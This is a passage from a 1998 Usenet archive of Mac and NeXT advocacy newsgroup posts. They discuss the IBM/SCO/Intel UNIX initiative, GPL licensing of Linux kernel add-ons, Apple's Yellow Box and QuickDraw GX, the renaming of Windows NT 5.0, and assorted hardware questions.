and for memory bandwidth. It probably does better than Intel in
multiprocessor configurations. Power3 is inside IBM's latest RS/6000 model.
>A quote from the press release is "IBM will make significant investments
>to make this the leading UNIX operating system."
>
>That sounds like more than a hedge ... but perhaps if they keep the UNIX
>running on both processor families (IA-XX and Power), they can let the
>game fall as it will.
What worries me is that the lure of "standardizing" on Intel will overwhelm
any advantages Power/PowerPC may offer.
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 14:45:34 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <714mae$n7g@newsb.netnews.att.com>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net>
Originator: gupta@tlctest
One more thing the IBM/SCO etc. annoucement probably means
is that IBM will not be jumping onto the Linux bandwagon just yet.
Would it make sense to promote Unixware/AIX and Linux as well ?
On the other hand, the modern IBM has a record of trying to
provide what the customer wants, whether it be OS/2 or NT or AIX,
Power/PowerPC or Intel, etc. etc., and so if sufficient people
demand Linux-based stuff, IBM will probably jump in.
-arun gupta
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 15:18:20 GMT
Organization: Primenet (602)416-7000
Message-ID: <714o7s$pl0$1@nnrp03.primenet.com>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net> <714mae$n7g@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: One more thing the IBM/SCO etc. annoucement probably means
: is that IBM will not be jumping onto the Linux bandwagon just yet.
: Would it make sense to promote Unixware/AIX and Linux as well ?
There were some comments on www.slashdot.org that companies like IBM might
need a dual-UNIX strategy. They have too many products and licensed
technologies which cannot be linked to Linux with its GPL/LGPL
restrictions. On the other hand, they might like to sell some things into
the Linux market ... hence two UNIXes.
: On the other hand, the modern IBM has a record of trying to
: provide what the customer wants, whether it be OS/2 or NT or AIX,
: Power/PowerPC or Intel, etc. etc., and so if sufficient people
: demand Linux-based stuff, IBM will probably jump in.
IBM seems to have taken a page from the HP playbook ... the introductory
chapter, in fact. HP has succeeded to a large degree by seeing what sells
and selling more of it. They have also pushed into some markets, but they
have never been a company to turn serindipity aside.
John
From: ginz1@juno.com (ginz)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Oklahoma City: Need black hardware help
Date: Tue, 27 Oct 1998 16:42:51 GMT
Organization: EnterAct L.L.C. Turbo-Elite News Server
Message-ID: <714tgu$a60$1@eve.enteract.com>
References: <01be0144$bbbecc40$8a8a4a0c@stuff1> <3635C3AB.941AF36@juno.com>
Sorry,
I didn't realize this was a mono.
Please disregard.
ginz...
ginz <ginz1@juno.com> wrote:
>Are you sure you have the "Y" cable connected correctly.
>If you plug the wrong end into the monitor you wont get any picture
>on the screen.
>Just thought I'd ask.
>ginz...
>Robert Bullock wrote:
>> I need use of a Mono NeXT cube/slab in Oklahoma City, OK.
>>
>> My new to me Nextcube has no display on its Megapixel monitor (that was
>> made in 1988 geez!). It boots up and I hear a beep or two. Waiting and
>> hitting the power off and return key shuts it off.
>>
>> I would like to try the monitor and or cube with known goos entities to
>> determine the problem. The monitor appears to power up, the screen
>> generates static when it's 'ON'.
>>
>> I suspect that the monitor was damaged during shipping as it was shipped on
>> it's side.
>>
>> -Robert
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <F1FyGB.r9@T-FCN.Net> <B25A0F4C-1923E@206.165.43.172>
Mime-Version: 1.0
Date: Tue, 27 Oct 1998 15:27:27 GMT
In <B25A0F4C-1923E@206.165.43.172> "Lawson English" wrote:
> Ah, but how many Mac users will be able to use YB?
This has nothing to do with the issue.
> I'm loyal to the people that I have worked for in the past.
Who's that, and why should I care about your loyalties?
> You?
No. My loyalty is earned, and not based on misplaced fanaticism as yours
often appears to be. I don't believe you ever worked for the GX or OD
teams, or anyone involved with them, so what's your excuse?
Maury
From: ElizaSnow@dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: MacOSX Screenshot
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 27 Oct 1998 17:09:47 GMT
Organization: University of Maryland, College Park
Message-ID: <714uor$ov4$4@hecate.umd.edu>
Anyone try nailing the MacOSX Screenshot contest on
http://www.stepwise.com/Articles/DBunker/ScreamShot.html yet?
I've got most of the GUIs but I'm not sure. Some of them
are trivial, but others are pretty tough. Surely a
collaborative effort on c.s.n.advocacy could win someone
a NeXT Bible. What *I* want to know is what the one inside
the Windows window is.
Liz
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 27 Oct 1998 16:24:22 GMT
Organization: University of Illinois at Chicago
Message-ID: <714s3m$nna$1@piglet.cc.uic.edu>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net> <714mae$n7g@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: One more thing the IBM/SCO etc. annoucement probably means
: is that IBM will not be jumping onto the Linux bandwagon just yet.
: Would it make sense to promote Unixware/AIX and Linux as well ?
: On the other hand, the modern IBM has a record of trying to
: provide what the customer wants, whether it be OS/2 or NT or AIX,
: Power/PowerPC or Intel, etc. etc., and so if sufficient people
: demand Linux-based stuff, IBM will probably jump in.
: -arun gupta
Personally I think it would have been more beneficial to
add certain AIX features to Linux, even if they were
only lightweight versions of them. But then again there
would be no control over where that code goes.
Anil
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 19:50:01 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn73c8v8.8dm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <7134s3$kpg$1@hecate.umd.edu> <713lu2$23j8$1@piglet.cc.uic.edu>
NNTP-Posting-Date: 27 Oct 1998 19:50:01 GMT
On 27 Oct 1998 05:32:50 GMT, Anil T Maliyekke <amaliy1@uic.edu> wrote:
: It sounds
:like there is going to be a bit code shuffling between SCO,
:Sequent, and IBM. I really don't understand what the point of this
:deal is, and it seems a bit too complex to pull off.
My Guess:
On x86: AIX over a SCO kernel. (yucky x86 hardware drivers that IBM
doesn't want to deal with)
Yet Another binary compatibility set of libraries.
On PPC: AIX
On IA64: AIX
:I still don't think this UNIX will be called AIX, at least not
:on non PowerPC platforms.
Maybe not.
:Anil
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 27 Oct 1998 19:19:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <7156co$ors@newsb.netnews.att.com>
Originator: gupta@tlctest
There never will be a Windows NT 5.0 beta 3 !!!
This is because Microsoft has renamed the OS.
Windows NT Workstation 5.0 becomes Windows 2000 Professional.
Windows NT Server 5.0 becomes Windows 2000 Server.
Windows NT 5.0 Enterprise Edition becomes Windows 2000 Advanced Server.
There will also be a Windows 2000 Datacenter Server.
Kudos to Infoworld for correctly anticipating the change of name.
(see http://www.infoworld.com/cgi-bin/displayStory.pl?981027.wcwin2000.htm
and links therein).
-arun gupta
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOSX Screenshot
Date: 27 Oct 1998 18:56:12 GMT
Organization: MiscKit Development
Message-ID: <71550c$qk3$1@news.xmission.com>
References: <714uor$ov4$4@hecate.umd.edu>
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ElizaSnow@dejanews.com wrote:
> Anyone try nailing the MacOSX Screenshot contest on
> http://www.stepwise.com/Articles/DBunker/ScreamShot.html yet?
Yes. I'm "grading" the answers for Dr. Bunker since he's so unbelievably
busy, so I've seen the submissions so far. Some have done remarkably well,
but there's still a book waiting for a 100% right answer if one comes in!
I don't want to unfairly influence the outcome, so I won't add any comments
or hints on your other questions. Note that I think the Dr. plans to reveal
the answers on Monday or thereabouts, though, so while nobody has won yet,
you should hurry to get your submissions in!
And good luck! I only got about 2/3 of them correct myself when the Dr.
first showed me the shot...it is a pretty hard quiz IMHO. :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 27 Oct 1998 22:25:17 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2710981724400001@pm61-01.magicnet.net>
References: <7156co$ors@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote:
> There never will be a Windows NT 5.0 beta 3 !!!
>
> This is because Microsoft has renamed the OS.
>
> Windows NT Workstation 5.0 becomes Windows 2000 Professional.
> Windows NT Server 5.0 becomes Windows 2000 Server.
> Windows NT 5.0 Enterprise Edition becomes Windows 2000 Advanced Server.
> There will also be a Windows 2000 Datacenter Server.
...and the cool part is that in about fourteen months, for a noticeable
number of x86-based CPUs, thoe products will be renamed:
> Windows NT Workstation 5.0 becomes Windows 1900 Professional.
> Windows NT Server 5.0 becomes Windows 1900 Server.
> Windows NT 5.0 Enterprise Edition becomes Windows 1900 Advanced Server.
> Windows 1900 Datacenter Server.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 27 Oct 98 15:38:00 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25B995B-15951@206.165.43.150>
References: <713pjj$ena$1@nnrp1.dejanews.com>
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nntp://news.primenet.com/comp.sys.next.advocacy
quinlan@intergate.bc.ca said:
[YB issues]
>1) What six platforms are you talking about?
>2) What is the licensing cost for those platforms?
>3) Now I want to subclass NSTextView and make it so that some
>applications use
>MyTextView and others use NSTextView. How do I do this?
>
But *I* want to make it so that my MOTHER can do this.
How would SHE do it?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 27 Oct 98 15:39:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25B99D2-1753A@206.165.43.150>
References: <F1Hs9s.FxB@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.next.advocacy
You've misunderstood: my loyalty is to CURRENT owners of Macintoshes, not
future owners of YB-based machines. There will hopefully be a lot of
overlap there, but the current owners of MacOS machines will out-number
YB-users for quite some time.
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B25A0F4C-1923E@206.165.43.172> "Lawson English" wrote:
>> Ah, but how many Mac users will be able to use YB?
>
> This has nothing to do with the issue.
>
>> I'm loyal to the people that I have worked for in the past.
>
> Who's that, and why should I care about your loyalties?
>
>> You?
>
> No. My loyalty is earned, and not based on misplaced fanaticism as
yours
>often appears to be. I don't believe you ever worked for the GX or OD
>teams, or anyone involved with them, so what's your excuse?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <F1Hs9s.FxB@T-FCN.Net> <B25B99D2-1753A@206.165.43.150>
Mime-Version: 1.0
Date: Tue, 27 Oct 1998 22:47:08 GMT
In <B25B99D2-1753A@206.165.43.150> "Lawson English" wrote:
> You've misunderstood: my loyalty is to CURRENT owners of Macintoshes, not
> future owners of YB-based machines.
OK, fair enough.
>There will hopefully be a lot of overlap there, but the current
> owners of MacOS machines will out-number
> YB-users for quite some time.
But hasn't this been the problem with all of these technologies all the
time? Apple never pushed any of them into the OS, not GX, not PowerTalk,
not OD. This was the primary reason for their slow adoption IMHO, which
led to their death. The only counterexample is CTB, which is easily the
worst of the technologies.
YB is (currently) planned to be a part of the OS itself on release. This
may make a difference. At best it's better than any of the above, at worst
it's no worse off.
Maury
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: Tue, 27 Oct 1998 14:35:34 -0800
Organization: Cygnus Solutions
Message-ID: <36364AB6.CE559321@cygnus.com>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net> <714mae$n7g@newsb.netnews.att.com> <714o7s$pl0$1@nnrp03.primenet.com>
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John Jensen wrote:
>
> gupta@knim.tm.tta.moc-mirrorafter@ wrote:
>
> : One more thing the IBM/SCO etc. annoucement probably means
> : is that IBM will not be jumping onto the Linux bandwagon just yet.
> : Would it make sense to promote Unixware/AIX and Linux as well ?
>
> There were some comments on www.slashdot.org that companies like IBM might
> need a dual-UNIX strategy. They have too many products and licensed
> technologies which cannot be linked to Linux with its GPL/LGPL
> restrictions. On the other hand, they might like to sell some things into
> the Linux market ... hence two UNIXes.
>
I don't see how anyone would think that delivering products on Linux will
incur the wrath of GPL/LGPL. There are commercial, non-open-source
applications and products for Linux already (Applixware, Motif and WABI
implimentations, etc), and more coming (Corell, Oracle, etc).
Applications don't have to worry about the fact that the linux kernel and
utils are GPL'ed.. just don't use code from those pieces in your
application. If you have to make use of those pieces, such as a filtering
something through gawk or something, you can do that without including
gawk's source code within your commercial app. Just make external
references to it (ala pipes, system(), etc).
As for the LGPL, there are places to get non-LGPL libraries for Linux
(else, how would those commercial apps get away with not obeying the
LGPL?).
IBM could easily write middle-ware on top of non-LGPL libraries, and sell
it for Linux. If they can't find non-LGPL libraries, I'm sure they've got
the talent laying around to write them. And it wouldn't require having to
be at the mercy of the restrictions of the GPL/LGPL.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 23:06:51 GMT
Organization: Primenet (602)416-7000
Message-ID: <715jmb$fjk$2@nnrp02.primenet.com>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net> <714mae$n7g@newsb.netnews.att.com> <714o7s$pl0$1@nnrp03.primenet.com> <36364AB6.CE559321@cygnus.com>
John Rudd <jrudd@cygnus.com> wrote:
: John Jensen wrote:
: > There were some comments on www.slashdot.org that companies like IBM might
: > need a dual-UNIX strategy. They have too many products and licensed
: > technologies which cannot be linked to Linux with its GPL/LGPL
: > restrictions. On the other hand, they might like to sell some things into
: > the Linux market ... hence two UNIXes.
: I don't see how anyone would think that delivering products on Linux will
: incur the wrath of GPL/LGPL. There are commercial, non-open-source
: applications and products for Linux already (Applixware, Motif and WABI
: implimentations, etc), and more coming (Corell, Oracle, etc). [...]
I think what you say is true, but I was really speaking to kernel issues.
If the filesystem and associated code are GPL, would it be possible for
IBM to do a binary-only distribution of a journaled filesystem, or a
heirarchical storage system? You may know more of this than I, but it
would seem that in the short term there are solutions IBM can deliver with
AIX which cannot be delivered for Linux.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 27 Oct 98 16:29:20 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25BA564-42D5E@206.165.43.150>
References: <F1ICMK.4F7@T-FCN.Net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>
> But hasn't this been the problem with all of these technologies all the
>time? Apple never pushed any of them into the OS, not GX, not PowerTalk,
>not OD. This was the primary reason for their slow adoption IMHO, which
>led to their death. The only counterexample is CTB, which is easily the
>worst of the technologies.
>
>
> YB is (currently) planned to be a part of the OS itself on release.
This
>may make a difference. At best it's better than any of the above, at
worst
>it's no worse off.
Don't be so smug. MacOS 8.5 is the first version of the OS that even offers
QuickDraw GX as an optional install during the main installation process.
It is also the last version of the OS that will even RUN GX...
Apple's penchant for schizophrenic business practices appears to be
accelerating.
The current buzz on the HyperCard mailing list is that Jobs is considering
cancelling any future HC development.
At least one person has been filtered out of Pixar's e-mail server as
"potential SPAM" which may have been due to his being on an AOL account or
it may be due to his including "HyperCard" in the subject header in an
e-mail to Jobs.
Regardless, HC may be dead.
Which makes my GXFCN look more attractive since it works just fine up until
MacOS 8.6 and all the way back to 7.1 on ANY color-capable Mac.
Apple is the only company that I know of that cancels technology WHILE
customers are still using it. Not just "no longer supports," but actually
deletes the latest version off of their web-site (e.g. Cyberdog 2.0). I'm
predicting the same sort of thing when 8.6 ships: no-one will be able to
access anything about the GX technology either.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: Tue, 27 Oct 1998 15:37:16 -0800
Organization: Cygnus Solutions
Message-ID: <3636592C.AF3606B8@cygnus.com>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu> <363521CB.4BF2B9C7@nstar.net> <714mae$n7g@newsb.netnews.att.com> <714o7s$pl0$1@nnrp03.primenet.com> <36364AB6.CE559321@cygnus.com> <715jmb$fjk$2@nnrp02.primenet.com>
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John Jensen wrote:
>
> John Rudd <jrudd@cygnus.com> wrote:
> : John Jensen wrote:
> : > There were some comments on www.slashdot.org that companies like IBM might
> : > need a dual-UNIX strategy. They have too many products and licensed
> : > technologies which cannot be linked to Linux with its GPL/LGPL
> : > restrictions. On the other hand, they might like to sell some things into
> : > the Linux market ... hence two UNIXes.
>
> : I don't see how anyone would think that delivering products on Linux will
> : incur the wrath of GPL/LGPL. There are commercial, non-open-source
> : applications and products for Linux already (Applixware, Motif and WABI
> : implimentations, etc), and more coming (Corell, Oracle, etc). [...]
>
> I think what you say is true, but I was really speaking to kernel issues.
> If the filesystem and associated code are GPL, would it be possible for
> IBM to do a binary-only distribution of a journaled filesystem, or a
> heirarchical storage system? You may know more of this than I, but it
> would seem that in the short term there are solutions IBM can deliver with
> AIX which cannot be delivered for Linux.
>
> John
The answer is, as with all real questions, "It depends" :-)
With the specific issue of a Journaled Filesystem, I believe Linux has a
notion of external-to-the-kernel file system code. I've seen some module
for Linux that lets you mount disks of other file systems, without having
to add that file system information to the kernel (it sort of mimics an
automounter, only mounting local file systems that aren't native to the
kernel instead of remote file systems).
Another way of handling kernel add-ons could be to sell/distribute object
files that linux users can link in to their kernel, yet don't distribute
the corresponding source for those object files. I don't know if this
specifically works around the GPL or not.. I would think it does because
what IBM would be selling/distributing is not making use of any GPL'ed
code.. but it would be linking against GPL'ed code.. but IBM isn't the one
doing the linking, the customer is... I think it's one of those things the
lawyers would have to argue out. Plus, this rules out casual customers who
don't link their own kernels.
I'm not saying that there aren't some pieces of AIX that cannot be
distributed on the monolithic linux without some sticky problems. But
middleware and up shouldn't be a problem (ie. as long as you're not mucking
with the kernel). Further, doesn't IBM own a piece of the Open Group?
They could also back mkLinux (revitalizing the Intel port, which can run
monolithic linux binaries), and use that as a way of supporting/selling-to
the linux community. Non-free/non-open stuff just becomes mach pagers
instead of part of the free/open distribution.
mkLinux already has Intel, PPC, and PA-RISC support.. that gets IBM, SCO,
Intel, Sequent, and HP (the other part of the IA-64 group) into the picture
(the first 4 of which are already part of this deal). I would be willing
to bet that with those groups present, Sun and SGI may get interested, if
for no other reason than to keep from being left out. That might bring
ports to Sparc and MIPS.
Another intersting idea (bringing this back to the next.advo and mac.advo
groups on the newsgroups list) would be to go with mkBSD (ie. port BSD
lites to mk, and use that instead of mkLinux). BSD lites already works
with *BSD and Linux binaries, so you don't loose the linux crowd. That
might bring Apple and MacOS-X technologies into the fold.
At the same time (whether you go with mkLinux or mkBSD), you preserve the
ability to support the free-OS community with an open OS, yet have that
open OS make use of proprietary modules that don't compromise their
intellectual property. Thus, IBM could port those pieces of AIX that are
valuable to mk(linux/BSD) so that their platforms remain consistant, yet do
so without having to make those modules open source. SCO and Sequent could
do the same with their pieces of Unixware and PTX (respectively). And as
long as the pieces aren't at cross-purposes (ie. don't impliment the same
functionality), they could even do so entirely seperately.
I doubt you'll see SCO back something like that, though. IBM probably
wouldn't either.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Chris Alsan" <bgodot@eskimo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Mon, 26 Oct 1998 15:22:01 -0800
Organization: Eskimo North (206) For-Ever
Message-ID: <715ngv$hcs$7@eskinews.eskimo.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com>
T. Max Devlin wrote in message <3648612d.157475509@news.supernews.com>...
>Quoting roger@. from alt.destroy.microsoft; Sun, 25 Oct 1998
>01:53:14 GMT
>>On Mon, 19 Oct 1998 12:55:45 GMT, someone claiming to be T. Max Devlin
>>wrote:
>>Yes.
>>
>>>You can't.
>
>Do you EVER do ANYTHING but reply to my posts, Roger? I though
>maybe I'd misconfigured my kill file, but it appears you are simply
>following up each post I make with bullshit.
>
>Does anyone know if "Usenet harassment" is sufficient for most ISPs
>to suspend an account?
Well, since he is actually correcting your bullshit with truth...
The recycle bin does keep track of files original locations.
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Message-ID: <rbarris-ya023280002710981628380001@206.82.216.1>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Tue, 27 Oct 1998 16:28:38 -0800
NNTP-Posting-Date: Tue, 27 Oct 1998 16:27:44 PDT
In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
<bgodot@eskimo.com> wrote:
> The recycle bin does keep track of files original locations.
Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
bin, it gets flattened. No easy way to drag it back out the way it was (if
I dragged the wrong thing or if I change my mind). Did I miss something?
Rob
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: Mattrol@uscom.com (Drakmere)
Subject: Re: A computer is not like a car.
Organization: Organization to Stop Long Organization Names
Message-ID: <715rg0$1p4_006@news.uscom.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1>
Date: Wed, 28 Oct 1998 01:20:00 GMT
NNTP-Posting-Date: Tue, 27 Oct 1998 17:20:06 PDT
In article <rbarris-ya023280002710981628380001@206.82.216.1>, rbarris@quicksilver.com (Rob Barris) babbled thusly:
>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
><bgodot@eskimo.com> wrote:
>
>> The recycle bin does keep track of files original locations.
>
> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>bin, it gets flattened. No easy way to drag it back out the way it was (if
>I dragged the wrong thing or if I change my mind). Did I miss something?
>
>Rob
Hit delete, THEN it works. Also, try hitting RESTORE, instead of dragging it
back.
--
(All quotes and spellings are not guaranteed accurate.)
ICQ: 8869737 Yahoo: Drakmere Aim: drakmere9
The irony is that Bill Gates claims to be making a stable operating system and Linus Torvalds claims to be trying to take over the world.
When in-laws are outlawed, only outlaws will have in-laws.
This .sig in UNDER CONSTRUCTION
Any suggestions are appreciated, and disposed of ;)
From: alexr@I.HATE.SPAM (Alex Rosenberg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Tue, 27 Oct 1998 18:26:18 -0800
Organization: Hackers Anonymous
Message-ID: <alexr-2710981826180001@roseal2.apple.com>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1> <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se> <Jonas.Palm-2310981922120001@jp.orgk1.dial.lu.se>
In article <Jonas.Palm-2310981922120001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
>But honestly, I have seen no scientific SIMD code that wouldn't
>be horribly bandwidth starved on macs even without AltiVec, so
>it feels very strange that the issue is ignored.
Have you considered that judicious use of the data stream instructions in
AltiVec would help with this problem by preloading data into the cache
during portions that are compute-bound?
+------------------------------------------------------------+
| Alexander M. Rosenberg <mailto:alexr@_spies.com> |
| Nobody cares what I say. Remove the underscore to mail me. |
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: FYI: Movies on Apple
Date: 28 Oct 1998 02:03:49 GMT
Organization: University of Waterloo
Message-ID: <909540212.705303@watserv4.uwaterloo.ca>
References: <01be0200$ea206640$06387880@chewy>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <01be0200$ea206640$06387880@chewy>,
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>From the Internet Movie Database briefing for 27 Oct 98:
>
>THE APPLE OF HANKS' EYE
>
>It now appears that two films are in the works about the development of
>the Apple computer by Steve Jobs and Steve Wozniak.
Jeez...I wonder how much revisionist history we'll see in these.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: "Andrew Tuitt" <luckyami@ij.net>
